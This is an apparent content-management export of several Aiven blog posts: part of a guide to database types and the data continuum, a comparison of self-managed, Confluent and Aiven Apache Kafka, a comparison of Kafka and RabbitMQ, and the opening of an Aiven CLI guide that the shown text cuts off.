batches: **a fairly fixed schema but of variable width**.\n\nThe variable width of rows concept is what some might argue, allows flexibility in terms of the events it can store: one event (row) can have fields ```name(string)```, ```address(string)```, and ```phone(string)```, with the next event having ```name(string)```, ```shoe_size(int)```, and ```favorite_color(string)```. Both events can be stored as rows in the same column family (analogous to a _table_ in PostgreSQL or MySQL).\n\nHow is this possible? Because a wide-column store like Cassandra can accommodate new columns. In other words, different rows in the same column family can contain different columns.\n\n![image showing variable length rows in Cassandra column families](https://cdn.sanity.io/images/sczeoy4w/production/03efdacf762bdbd4313e54dd1177118d19470116-1999x1233.png)\n\nThere is still one inflexible notion here: the column family schema, including all columns, should ideally be defined _prior to ingestion_. During data ingestion, Cassandra cannot create new fields on the fly during a streaming ingest.\n\nHowever, you could create a column family using a compound key or use, as a separate step, an [```alter table```](https://stackoverflow.com/questions/16938285/how-to-add-columns-dynamically-in-a-column-family-in-cassandra-using-cql) command during an ingest on an existing column family to add new columns. When this is done dynamically from a running application, this gives the _appearance_ of flexibility in a Cassandra column family, when actually, the application is doing the work!\n\nCassandra exposes a SQL dialect called [CQL](https://en.wikipedia.org/wiki/CQL) for its _DDL_ (data definition language) and _DML_ (data manipulation language). While similar to SQL, there is one notable omission: Apache Cassandra does not support ```join``` operations.\n\nFinally, as Cassandra is a distributed database, you can configure things like _replication factor_ and _consistency level_ to determine where the data gets replicated and how often. Almost every distributed database honors the [CAP theorem](https://en.wikipedia.org/wiki/CAP_theorem) nowadays: the oft-repeated notion that a distributed data store must honor the tradeoff between data **consistency**, **availability**, and **partition tolerance**. As time moves on, the understanding of this tradeoff [continues to evolve](https://martin.kleppmann.com/2015/05/11/please-stop-calling-databases-cp-or-ap.html). Regardless, these settings are typically hidden from end users in managed solutions and default settings serve most use cases.\n\n### Key-value stores\nNext up, we have _key-value_ stores like [Redis](https://redis.io/), which runs in-memory. These store a _key_ that works like a fast-searchable index and associated _values_ which can contain, for example strings, lists, hashes, sets, sorted sets or even bitmaps.\n\nThese are useful where you’re essentially storing flat hierarchies that require the fastest, lowest-possible latency lookup of very specific bits of data. They’re flexible in that [many](https://redis.io/topics/data-types) things can go into the value part (although not the key), but inflexible in that the key to value ratio is 1:1.\n\n### Document stores/full-text search engines\n[_Document stores_](https://aiven.io/opensearch) like MongoDB and [Elasticsearch](https://en.wikipedia.org/wiki/Elasticsearch) offer the greatest level of flexibility – and complexity. A document store roughly resembles a key-value store where the key becomes the _document ID_ and the value is the _document_ containing the actual stored data.\n\nThe document can be almost anything, including an array of values; thus, Elasticsearch might be a good choice when the stored data is hierarchical within a single document and should not be flattened. Elasticsearch _indexes_ data into _indices_, which hold _types_, which contain _documents_ which hold _fields_.\n\nIn addition to accommodating the most unstructured data of the bunch, Elasticsearch also offers the most flexibility in querying the data. Not limited to SQL's ACID constraints, the supported [Query DSL](https://www.elastic.co/guide/en/elasticsearch/reference/6.4/query-dsl.html) is profoundly extensive, flexible and works down to the keyword/token level.\n\nElasticsearch query types include (but are not limited to) [full-text queries](https://www.elastic.co/guide/en/elasticsearch/reference/current/full-text-queries.html); [term-level queries](https://www.elastic.co/guide/en/elasticsearch/reference/current/term-level-queries.html); relevance-ranking queries; term-completion queries (where word-completion suggestions appear after a user starts typing); [joining queries](https://www.elastic.co/guide/en/elasticsearch/reference/current/joining-queries.html) (less expensive than SQL-style joins); regular expression and partial-regular expression queries; [geo queries](https://www.elastic.co/guide/en/elasticsearch/reference/current/geo-queries.html) (essentially geolocation data queries); specialized queries (a rather motley crew of “none of the above” query types); and even [span queries](https://www.elastic.co/guide/en/elasticsearch/reference/current/span-queries.html), which control for word order and position and are well suited to legal, contractual, and patent documents (but can be used on any text, anywhere).\n\nTo add to the pile and drive home the flexibility of Elasticsearch, [compound-queries](https://www.elastic.co/guide/en/elasticsearch/reference/current/compound-queries.html) are possible. These wrap other query types (including mashups of more than one of the above queries) to calculate items such as scores, matches, relevance ranking of results, and boolean truth values.\n\n_NOTE: Time-Series data can be stored and tracked in any RDBMS, wide-column store or even full-text search data store, like Elasticsearch.\n\n## Breaking SQL and NoSQL databases down further\n**PostgreSQL** and **MySQL** are both examples of **SQL/RDBMS** databases. **Elasticsearch**, **MongoDB**, **Redis**, **Cassandra/ScyllaDB**, are all examples of **NoSQL** data stores. The comparison between NoSQL to relational databases [looks as follows](https://dzone.com/articles/nosql-vs-sql-differences-explained):\n\n| **SQL/RDBMS** | **NoSQL** |\n|---------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------|\n| Relational | Non-relational |\n| Fixed schema, table based | Many types are not table-based; if they are, schemas are not usually fixed. |\n| Vertically-scalable (expandible primarily by adding more memory and processing power to the same server). | Horizontally-scalable (expandible primarily by adding more nodes/computers to the network). |\n| Generally not distributed. Transactions adhere strictly to ACID (Atomic, Consistent, Isolated, Durable) properties. | If distributed, follows the CAP theorem. |\n\n\nIt’s probably worth clarifying though, that as each of these solutions evolve, _they are starting to assume more of the features of each other_. For example, both Cassandra and Elasticsearch can be vertically scaled within the same server and PostgreSQL [can be distributed](https://www.quora.com/Is-PostgreSQL-a-distributed-and-scalable-database) (but not sharded) — although each were originally not built that way.\n\n## NoSQL database types: feature comparison\nTo even better understand the distinction, we can also consider the differences within the NoSQL database category:\n\n| **Type** | **Examples** | **Features** |\n|-------------------------------|---------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| Key-value pair | Redis | Fast, in-memory database platform offering native support for a wide range of data structures. Often used also as part of a cache or message broker system. |\n| Text search / Document Store | OpenSearch | Full text search and analytics engine; works in near real time, including indexing. |\n| Time-series | InfluxDB, Timescale | Simple DBMS for storing time series, events, and metrics. |\n| Distributed wide-column store | Cassandra | Distributed, wide-column store best suited to multi-cloud or multi-data center environment. |\n\n## Which is best to use, and when?\nIf you could answer the question, \"Why NoSQL?\" in only only a few words, they would probably boil down to _scale_ (including flexibility of scale), _flexibility_ (including of schema and type constraints), or _latency_ and _performance_ (including throughput).\n\nSecondary considerations may include the size of the community (as well as the support and documentation you're likely to find) or the [level of industry adoption](https://db-engines.com/en/ranking) as a measure of popularity, and thus reliability and fitness for purpose of a given solution.\n\nOf course, there's more to it. While NoSQL offerings are built around these concepts, **RDBMS** databases remain the preferred choice in industries and applications involving **transactional data**, where **ACID properties are essential**: user authentication and access-rights management, healthcare, banking, resource allocation and inventory management, and shopping carts to name but a few.\n\nRDBMS databases come with the long-established promises of isolation, security, and referential integrity; and, there's no seeing those requirements go away any time soon.\n\nHowever, in applications involving **high-volume**, **fast-moving** analytics data from **sensors**, **applications**, or **complementary systems**, a **NoSQL** solution with different features or attributes might be a better fit.\n\nWhat kind of needs do you have? A fast-lookup with caching features, like a key-value store? A more flexible document-store for searching through larger records, or even text search for unstructured data? Maybe a distributed wide-column store with tunable consistency, or a store specialized for time-series data?\n\nNoSQL is an evolution from RDBMS databases to better serve specific needs. The \"best\" in any case is what suits _your_ needs; remember to assess your existing infrastructure and team to find areas where gaps can become strengths.\n\n### But it's not as simple as that\nNote that most data pipelines and data architectures will use a combination of data stores for different purposes. In a [lambda architecture](https://en.wikipedia.org/wiki/Lambda_architecture), for example, a datastore like Cassandra might be used to capture and store large volumes of historical data where slower read access is allowed, while Elasticsearch may be deployed in parallel to capture recent, less structured data that requires a fast, low-latency, but very flexible search.\n\n![image showing data stream split into a lambda architecture](https://cdn.sanity.io/images/sczeoy4w/production/e0724f6dbe97bea01203ada90030a464636c4bd7-1999x1354.png)\n\nBased on: Wikipedia, [Lambda Architecture](https://en.wikipedia.org/wiki/Lambda_architecture)\n\nYet another architecture might include a time-series database to the above to track timestamps for events. And, other systems may contain a transactional component where a NoSQL store is used for analytics of fast data retrieval and an RDBMS is used for transactional data.\n\n## Wrapping up\nToday, there are more data sources than ever: website tracking, cloud-stored flat files, CRM, other databases, eCommerce, marketing automation, ERP, IoT, other large datasets via REST APIs, and mobile apps, etc. **The ability to mash up and transform data** ultimately means getting competitive insights from all of your data.\n\nWe’ve looked at the data continuum: data stores as they handle the spectrum of data from fully-structured to unstructured: from _RDBMSes_ to _wide-column stores_ to _key-value stores_ to _full-text search_.\n\nWe’ve then simplified the comparison, looked at database choice criteria, and considered the lambda architecture: when data pipelines have multiple stores for multiple purposes.\n\nSo where on the spectrum does your data lie? And how will you put your data pipeline together? Aiven provides fully-hosted and managed cloud databases and messaging services on all major cloud providers across the globe. [Get started](https://console.aiven.io/signup) today.\n\n### References\nJohn Hammink, for Alooma: [NoSQL vs. SQL: Differences Explained](https://dzone.com/articles/nosql-vs-sql-differences-explained)\n\n\n## Further reading\n\n- [Time travel: two-dimensional time with bitemporal data](https://aiven.io/blog/two-dimensional-time-with-bitemporal-data)","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-28db871b1d3e702d4b1afe5faa075880191d4b56-752x405-png","_type":"reference"}},"publishedAt":"2019-07-08T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"To know which data store is best for your data, it's helpful to understand where your data lies on the continuum of structured to unstructured data.","metaImage":{"alt":"","asset":{"_ref":"image-28db871b1d3e702d4b1afe5faa075880191d4b56-752x405-png","_type":"reference"}},"metaTitle":"Aiven's insights into the data continuum – Find out more"},"slug":{"_type":"slug","current":"/blog/the-data-continuum-examined"},"subtitle":"To know which data store is best for your data, it's helpful to understand where your data lies on the continuum of structured to unstructured data.","title":"The data continuum, examined"} {"__i18n_lang":"en","_createdAt":"2022-10-25T10:53:57Z","_id":"1dde1cae-7782-4a8d-9e54-3d2fdf76ce2a","_rev":"ejVwHgKe5k9eDWbchuQ1hO","_type":"post","_updatedAt":"2024-07-11T12:32:13Z","authors":[{"_key":"b278a2479ef1","_ref":"165358df-fb36-400c-a384-d0874d19dfff","_type":"reference"}],"body":"\u003c!-- copypasta:\n\n®\n™\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\n[Back to top](/blog/slug-line/#toc)\n--\u003e\n\n***Information and content updated on February 2024***\n\nShould you self-manage, or should you get Apache Kafka® managed and hosted? Should you go for an on-premises solution, or deploy your streaming data infrastructure in a cloud provider of your choice? And if you choose managed cloud, which provider should you trust? In this blog post, we’ll be asking some searching questions to help you figure out which Apache Kafka alternative is right for you. We’ll compare three potential setups that will get your streaming data going:\n\n- Self-managed Apache Kafka\n- Fully-managed Apache Kafka available from Confluent\n- Aiven for Apache Kafka\n\n| Self-managed Apache Kafka is good for… \t| Aiven for Apache Kafka is good for… \t| Confluent’s managed Apache Kafka is good for… \t|\n|:-----------------------------------------:\t|:--------------------------------------------------------------------------------------------------:\t|:------------------------------------------------------------------------------------------------------------------------:\t|\n| + Self-managed Apache Kafka configuration \t| + Pre-existing default setups based on your use case and scalability potential of your application \t| + Pre-existing default setups based on your use case and scalability potential of your application \t|\n| + Full up-close access control \t| + External experts to manage your Apache Kafka environment \t| + External experts to manage your Apache Kafka environment \t|\n| + Full control of premises \t| + No costs from premises: walls, A/C, power, security… \t| + No costs from premises: walls, A/C, power, security… \t|\n| \t| + No need to pay for hardware \t| + No need to pay for hardware \t|\n| + No need to sign up for a cloud account \t| + Can leverage existing cloud account (Bring-Your-Own-Cloud) \t| \t|\n| + You own your servers \t| + Dedicated servers for VMs \t| + Dedicated servers for VMs (higher pricing tiers only****) \t|\n| + Highly granulated costs \t| + Predictable price with networking and storage costs included \t| + Low price at start (price hike comes with more features) \t|\n| \t| + Wide range of integrations and connectors \t| + + Wide range of integrations and connectors \t|\n| \t| + Out of the box monitoring AND plug-in monitoring solutions \t| + Out of the box monitoring AND plug-in monitoring solutions \t|\n| \t| + Migration service in and out without additional data transfer costs \t| Migration service in and out, data transfer costs added to cluster cost \t|\n| \t| + Consistent availability (SLA of 99.99%) across all plans \t| + Consistent availability (SLA of 99.95% across Basic and Single AZ clusters, SLA of 99.99% only on Multi AZ clusters*). \t|\n| \t| + Best ‘Quality of Support’ for stream processing platforms*** \t| \t|\n\nLet’s go over some of the key questions you should be asking when deciding on whether you’re planning to manage Apache Kafka yourself or choose a fully-managed Apache Kafka. Some of them might surprise you!\n\n## Q1: Who should manage and maintain your Apache Kafka environment?\n\n**I want full control of everything - I have the qualified staff and no problems hiring.**\n\nIf control at any cost is your priority, then a self-hosted on-premises Apache Kafka might be good for you. The learning curve is steep, but since you say you have the qualified staff with enough time, that won’t be a problem. \n\nJust remember, getting the clusters set up is only the start; you’ll need to implement security, install patches and updates, manage access rights and so on. (We don’t want to sound negative, but it actually is quite a lot of work.)\n\n**I don’t want my company to have to manage Apache Kafka, my staff don’t have the time or the skills.**\n\nIf you want to forget about your Apache Kafka clusters 99.99% of the time and still have them be operational 99.99% of the time, get a managed solution. \n\nThe ease of operations with a managed Apache Kafka service is great if you don’t want to spend money on hiring experts. You can let your chosen vendor operate and maintain your Apache Kafka for you. \n\nYou do need someone on your side with a cursory understanding of the systems you use, but finding and hiring that talent is far easier than finding someone able to operate, manage and maintain your Apache Kafka clusters and environment in production.\n\n## Q2: Where should your streaming data infrastructure be physically located?\n\n**At my own premises - we’re in a regulated industry**\n\nCompanies in regulated industries may need an on-premises installation for legal compliance. This will vary depending on the country. \n\nHowever, if the legal requirement is only for the data to be located within the borders of a certain country or area, some fully-managed services (like Aiven) offer the option of selecting a specific data center and Availability Zone to deploy your Apache Kafka clusters in.\n\nWith Aiven’s easy migration process, you can also employ a hybrid model. Leave the applications handling confidential information on your on-premises environment, and migrate non-confidential topics / data streams to the cloud. You can always specify an AZ that is still fully compliant with your local regulations. \n\n[Aiven for Apache Kafka cloud providers and AZs](https://aiven.io/pricing?product=kafka) are free to browse; play around with the pricing widget to see if you can benefit.\n\n**In a cloud - I don’t want to pay for walls**\n\nYou might need your Apache Kafka clusters to be available in a wide area. Or perhaps you just don’t want to pay for hardware, not to mention facilities which tend to include things like physical access control, electricity, air conditioning and building rent. If the traffic costs and lag aren’t an issue--possibly because your business is local--then deployment to a single public cloud environment may fit your needs.\n\nThe degree to which you want to self-manage this environment is a separate issue; see above for guidance.\n\n**In a global cloud environment, a hybrid environment, or multiple clouds - I need wide, instantaneous availability**\n\nIf you anticipate your data streaming cluster to be accessed from a wide geographic area and via multiple public clouds, a multi-region, multi-cloud deployment may make sense. If this is your choice, a managed environment is usually the one that makes sense; managing multi-cloud deployments yourself is an order of magnitude more difficult than maintaining a single cluster.\n\n## Q3: If in the cloud, do you have an existing cloud account?\n\n**Yes, and I want to leverage that**\n\nIf you already have a cloud account, the easiest option may seem to be deploying a self-managed Apache Kafka to that cloud, especially if the provider already offers it as a managed service. \n\nBut that’s not the only way. Many data platforms, Aiven included, offer a [Bring Your Own Cloud (BYOC)](https://aiven.io/blog/optimize-your-cloud-data-infrastructure-spend-with-byoc) option. This allows you to benefit from any bonuses you’ve accumulated while also taking advantage of the benefits of a managed service.\n\n**No, and I’m fine subscribing through a provider**\n\nBy far the easiest way to set up an Apache Kafka based streaming infrastructure on the cloud is to sign up via a vendor offering fully-managed Apache Kafka. But which one? To compare just two under discussion: \nWith Confluent your networking costs are invoiced on top of the existing service fee** and ingress/egress fees per cloud provider.\nWith Aiven your networking costs are included in the flat service fee.\n\n## Q4: Do you need dedicated servers for your VMs in the cloud?\nYou’ll probably want your VMs to reside on a dedicated server. This allows you to avoid having to share computing resources with potentially noisy neighbors, and it also reduces security risks. \n\nIf you self-manage an on-premises solution, this is easy - just have one server per system, since you control the physical machines. \n\nBut going to the cloud doesn’t necessarily mean giving up on this requirement. At Aiven, all VMs run on dedicated servers in all pricing plans, and even Confluent offers dedicated servers, although only on their Dedicated Clusters**** that come with higher pricing tiers. \n\n## Q5: What do you want to use for monitoring?\n\n**I have / will build my own custom solution**\n\nIf your monitoring needs are very specific and complex to the point where you’ve built your own system, then of course you need to choose your cloud solution based on which one can accommodate them. It’s hard to give specific advice here, other than do copious amounts of research to ensure that the environment is suitable.\n\n**I’m using a range of specific monitoring systems**\n\nResearch is also required when choosing how to implement a ready-built solution hinging on a number of monitoring tools, whether open source or proprietary. Some might be offered by a data platform provider as managed solutions (such as [Aiven for Grafana](https://aiven.io/grafana)), or you might be able to connect to an external one. Aiven for Apache Kafka allows you to connect to external monitoring tools and add your Apache Kafka service specific information to your existing monitoring infrastructure.\n\n**I want an out of the box solution**\n\nThe easiest way out of the dilemma, barring special requirements, is to take advantage of a managed monitoring package.\n\nAs fully managed Apache Kafka alternative solutions, both Confluent Cloud and Aiven for Apache Kafka offer out-of-the-box monitoring tools. Confluent Cloud has a packaged Control Center that you can use to monitor the whole Confluent platform at once as well as integrations with external monitoring systems. \n\nAiven on the other hand offers a Grafana-based monitoring screen out of the box, but also a super-easy way to integrate other services.\n\n## Q6: What else needs to live in the same ecosystem?\n**I want to extend it with PostgreSQL, OpenSearch, Redis... basically, a rich selection of open source technologies**\n\nIt’s the nature of a stream processing system that your Apache Kafka environment will need to connect to external sources and sinks (be it on the cloud or not). Managing and connecting those systems adds extra complexity to your data stack. With a managed service like Aiven for Apache Kafka, you can seamlessly integrate your Apache Kafka streaming data to other Aiven managed services, such as PostgreSQL, OpenSearch, Redis to name a few.\n\n**I’ll build my own extensions and integrations**\n\nManaging and maintaining extensions and connections to your ecosystem can be a daunting task for your operations teams. Especially with version upgrades, ensuring backwards compatibility between connectors and systems in your data stack; so be prepared to have your team ready for some extra work and maintenance when it comes to connectors and extensions. \n\n## Q7: What is your availability requirement?\n\n**I want five nines!**\n\nIf your SLA requirement for your Apache Kafka clusters is 99.99%, then a managed service might be the best option. Aiven for Apache Kafka ensures four-nines across all plans, backed by a dedicated SRE team. \n\nAlternative Apache Kafka providers in the market might be offering 99.95% SLA guarantees for some of their plans and 99.99% in some of the pricier options. Be sure to get some solid research on what the impact of this might be in your organization and make sure you choose accordingly. \n\n**It’s okay to have frequent service breaks, I don’t need to pay extra for that**\n\nIf frequent service breaks are okay for you in your data streaming, then self-managing a Kafka environment might be a good enough option. For non-production, non-mission critical applications, your team might well be the best at operating the environment. \n\nBut once your services move to production or have to handle critical business events and data, additional planning and extra resources might be needed. This can have a big impact on the total cost of ownership of such a solution or application.\n\n## Q8: Will you be migrating from elsewhere, or do you want to stay migration-ready?\n\n**No, I’m fine, we’re starting from scratch**\n\nIn that case, you can ignore this section and move on to the next one! … But wait. Are you quite sure that your migrating days are over? What happens if you choose to self-manage and your team quits? Maybe you should keep reading.\n\n**Yes, I need to bring my existing Apache Kafka clusters to the new system**\n\nIf you want to bring your old Apache Kafka clusters into a managed service, then you might want to look into the open source tooling for [Aiven for Apache Kafka MirroMaker 2](https://aiven.io/blog/5-reasons-why-you-should-be-using-mirrormaker-2). It offers a smooth migration process to a cloud environment (and across cloud environments) for disaster recovery scenarios. \n**Yes, I want to be able to pick up and leave when I want to**\n\nSame as above. With open source tooling, like MirrorMaker2, you can easily pick up your data streams where you left off while remaining flexible at all times.\n\n## Q9: What about the price and billing?\n\n**I want to pay for network costs separately and extensively customize my system based on price - no paying for nothing!**\n\nFor extensive cost-based customization, a managed service alternative like Confluent Cloud and their pricing might be a fine option. But stop to ask yourself a few questions first: \n\n- How do you expect the networking costs to evolve overtime? \n- What is the mid to long term impact of more streaming data flowing through your services and\n- How does that impact your TCO in the long run? \n\n**I want it easy, just one invoice to pay**\n\nIn self-managed data streaming solutions, paying all the separate bills and targeting the costs appropriately is a headache. Even in managed solutions, Confluent for example invoices network costs separately. \n\nIf you want to keep things simple, Aiven’s predictable pricing might be the best solution. With Aiven for Apache Kafka, not only do you get a fully managed Kafka solution but you can also easily predict what the monthly cost of your service will be — without worrying about excess costs for networking or egress/ingress. Check out the [Aiven pricing page](https://aiven.io/pricing?product=kafka) for more details. \n\n**The price has to be low, that’s all that matters**\n\nCost efficiency is something that every organization and developer team should take into account. And self-managing open source software like Apache Kafka might be the easiest alternative to get you started. \n\nHowever, as the requirements evolve and increase, so might the necessary level of expertise (be it Apache Kafka development expertise or operational know-how around Apache Kafka). \n\nYou need to carefully plan the lifecycle of the service. It might be a factor in future costs, such as hiring and retaining the appropriate talent and ensuring that SLA guarantees are being met. \n\n\n----\nFootnotes\n\n\\* Information according to Confluent’s [pricing page](https://www.confluent.io/confluent-cloud/pricing/).\n\n** Information according to Confluent’s pricing page for [networking](https://www.confluent.io/confluent-cloud/pricing/#networking).\n\n*** Quality of support of 8.4 for Aiven vs Confluent at 8.2 - according to data from [G2 Crowd](https://www.g2.com/categories/event-stream-processing), February 2024.\n\n**** Confluent Cloud’s [documentation](https://docs.confluent.io/cloud/current/clusters/cluster-types.html#ccloud-features-and-limits-by-cluster-type) page mentions single-tenant deployments only for dedicated clusters. \n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nAre you still looking for a managed data platform? Sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\n\n## Further reading\n\n- [Benchmarking Apache Kafka Performance Part 1: Write Throughput](https://aiven.io/blog/benchmarking-kafka-write-throughput)\n\n- [Aiven statement on license changes for the Confluent Platform](https://aiven.io/blog/aiven-statement-on-kafka-license)","categories":[{"_key":"6ce4a259b55f","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-40cfdb302a83cd5be90ec8b6c5ce40bdb03d0d56-3133x1688-png","_type":"reference"}},"publishedAt":"2022-10-28T11:07:00.000Z","related":[{"_key":"e3a30771dff7","_ref":"1CuVhL1qTea2bGbOOf2mOS","_type":"reference"},{"_key":"32cfdb392179","_ref":"5tcvRybcSkU7QRXuhXA7vZ","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Apache Kafka for Confluent vs Aiven vs self-managed data streaming - what’s the difference? Compare features and benefits here!","metaTitle":"Apache Kafka: Confluent vs self-managed vs Aiven"},"slug":{"_type":"slug","current":"/blog/confluent-kafka-vs-apache-kafka-vs-aiven"},"subtitle":"Aiven isn't the only thing out there. In this post, we compare Confluent's offering with Aiven's, and match both against self-managed solutions. Find out more!","title":"Apache Kafka®: Confluent vs self-managed vs Aiven"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"3tNJVcx9wrILzuyGlZQdYc","_rev":"neae7oL4y1FotDvvRKGAO9","_type":"post","_updatedAt":"2024-07-11T09:03:04Z","authors":[{"_key":"3gXeb4zb5wJU5CvLnVioH","_ref":"3gXeb4zb5wJU5CvLnVioH","_type":"reference"}],"body":"## Choosing Between Apache Kafka and RabbitMQ\n\nThere are many roads that can lead to the moment you decide you need a queue. Queues are an excellent way to loosely couple many different components and allow them to exchange data without detailed knowledge about one another. Using a queue is also an excellent way to distribute work between multiple nodes to perform asynchronous tasks.\n\nQueues come in different flavours and success is morely likely when you can use the queue that best fits the shape of your use case. There's some overlap between the use cases but in general it can be summarised as choosing between a job queue and a message queue.\n\n### Processed and Forgotten: RabbitMQ\n\nA job queue such as RabbitMQ is a good choice when work is being delegated to an asynchronous endpoint, such as a serverless function. The classic example is resizing an image. When a user uploads a new image, the application needs to produce a thumbnail or some custom sizes for that image, but the user shouldn't have to wait for that work to be completed before getting on with what they were doing. So we can put the request onto a queue and carry on with generic placeholder images, until the resizing is complete.\n\nRabbitMQ is a popular message broker and is a good fit for those job-shaped application requirements. It's an open source tool and here at Aiven we're big fans of all the open source tools. RabbitMQ supports multiple protocols, has predefined exchange types and has configurable flexible routing. When you work with a job queue, the message broker transports the messages to the place where they are processed. The job gets processed once (technically \"at least once\"), and then it is completed and is removed. \n\n### Event-Driven Application: Apache Kafka\n\nIn contrast with the RabbitMQ model, message queues can also be more of data bus in architecture terms, a conduit for communicating the events throughout the application . A message (called a \"record\" in our favourite message queue tool, Kafka) is put onto the bus and then any interested consumers, now or in the future, can access and consume the message. The message persists so that other consumers can also access the data, either at the time that the data is added (\"produced\" in Kafka terminology) to the message bus, or later if we decide we want to revisit the data for additional analysis.\n\nWe commonly see Apache Kafka used in [event-driven](https://aiven.io/blog/introduction-to-event-driven-architecture \"Aiven blog: Introduction to event-driven architecture\") applications where data must flow between multiple components in the application. Using this distributed message bus model gives a great deal of scalability and it's not a coincidence that the roots of the open source Apache Kafka tool are in the software stack of LinkedIn, a company with a lot of data and many components consuming it. Kafka is a distributed log of past events, which gives the advantage that every past change is also always still available, so you can build features based on the events or simply have the peace of mind that the data will always be available for inspection or audit if needed.\n\nKafka is quite approachable as a technology, you can either install it yourself or take up the free trial available on the Aiven platform to get started. It's ideal for getting to know the technology, with a friendly web interface to get you on the right track and a selection of connectors that can be added easily. It can be scaled up to handle colossal workloads and we see some very large clients with some great performance on our platform.\n### More Resources\nThinking about the shape of the data requirements that you have will ensure you pick a queue that works for you. If it's a task on a task list, then try RabbitMQ. But for data that needs to flow around your application and drive multiple integrations, Kakfa is probably your best bet. If you'd like to know more, then some of these links may be useful:\n\n* [What is Apache Kafka](https://aiven.io/blog/what-is-apache-kafka)\n* [An introduction to event-driven architecture](https://aiven.io/blog/introduction-to-event-driven-architecture)\n* [Getting Started with Aiven for Apache Kafka](https://help.aiven.io/en/articles/489572-getting-started-with-aiven-kafka)\n* [`avn`, the Aiven CLI tool](https://github.com/aiven/aiven-client)\n* [Learn about tools for Apache Kafka](https://help.aiven.io/en/articles/3325560-kafka-tools)\n* [Apache Kafka®: Confluent vs self-managed vs Aiven](https://aiven.io/blog/confluent-kafka-vs-apache-kafka-vs-aiven)\n\nOf course, we'd love you to try [Apache Kafka on the Aiven platform](https://aiven.io/kafka \"Aiven for Apache Kafka product page\") if you read this far and think you have Kafka-shaped requirements! Sign up and let us know what you build.\n\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-ee8ce3adf02b7453f4ac569b2314a80d106b2554-1567x844-png","_type":"reference"}},"publishedAt":"2021-02-01T00:00:00.000Z","seo":{"metaDescription":"RabbitMQ or Apache Kafka? Read our comparison of their key features and how they process queues differently, and decide which is better for you!","metaImage":{"alt":"","asset":{"_ref":"image-ee8ce3adf02b7453f4ac569b2314a80d106b2554-1567x844-png","_type":"reference"}},"metaTitle":"Kafka v. RabbitMQ - a comparison"},"slug":{"_type":"slug","current":"/blog/kafka-v-rabbitmq-a-comparison"},"subtitle":"RabbitMQ or Apache Kafka? Read our comparison of their key features and how they process queues differently, and decide which is better for you!","title":"Kafka v. RabbitMQ - a comparison"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"3sVwN1PfHnfXpvu2qlniw2","_rev":"4aR3mHUmfiHzqe5Saw9XiP","_type":"post","_updatedAt":"2024-10-07T12:29:22Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"\u003e Things have moved on since 2019, and we've continued improving the Aiven command line tool.\n\u003e There's a new blog post at [Get things done with the Aiven CLI](https://aiven.io/blog/aiven-cmdline) which explains how to get started, and how to manage a PostgreSQL® service from start to finish. It also gives examples of using the `--json` switch and the `jq` tool to extract data in a more powerful way than with `grep` and friends.\n\nYou can do most of your Aiven service administration straight from your [Aiven Console](https://console.aiven.io/). However, for those times when you need to run a quick shell command on our CLI (command line interface) to check service status, power on or off services, filter through available plans or clouds, upgrade some of your services or watch for patterns in event logs, this guide is for you.\n\nYou can also use these commands for scripting and automation, as a basis for constructing your own commands or aliases, or even to dig deeper into the CLI for more possibilities. In this article, we’ll focus more on grepping through the sometimes rather lengthy and / or verbose ```avn``` outputs to find specific information more easily — although there are some admin and service deployment commands included.\n\nWhile intended for use with our CLI, we also hope you’ll find this as a useful guide to get familiar with — or to revisit -- some basic bash scripting.\n\nFeel free to copy / paste, __but remember to adjust to the variables you need,__ for example your ```--cloud```, and/or your ```--project``` setting depending on what you’re trying to do. Other variables may include such items as your login name as well as your chosen project and service instance names. Also, while we've specified writing to files or ```stdout```; or clearing screens for aesthetic purposes, feel free to customize the commands you need.\n\n\u003e Our list of commands here isn’t exhaustive but is complementary to the one on the [Aiven client’s github profile](https://github.com/aiven/aiven-client), with some overlapping on the basic stuff. Be sure to check out both!\n\nFinally, we’ll share the lot [on github](https://gist.github.com/Jammink2/e9b36ff0c9278e223a4404f473a676dd) and include a few keyboard-friendly aliases for useful commands that you can use as a basis for some of your own Aiven service deployment and DevOps infrastructure.\n\n## Table of Contents\n* [Installing the Aiven CLI](#installing-the-aiven-cli)\n* [Logging in and logging out](#logging-in-and-logging-out)\n* [Viewing clouds, services, regions and plans](#viewing-clouds-services-regions-and-plans)\n* [Creating, viewing, powering on or off, and deleting services](#creating-viewing-powering-on--off-and-deleting-services)\n* [Viewing and filtering event 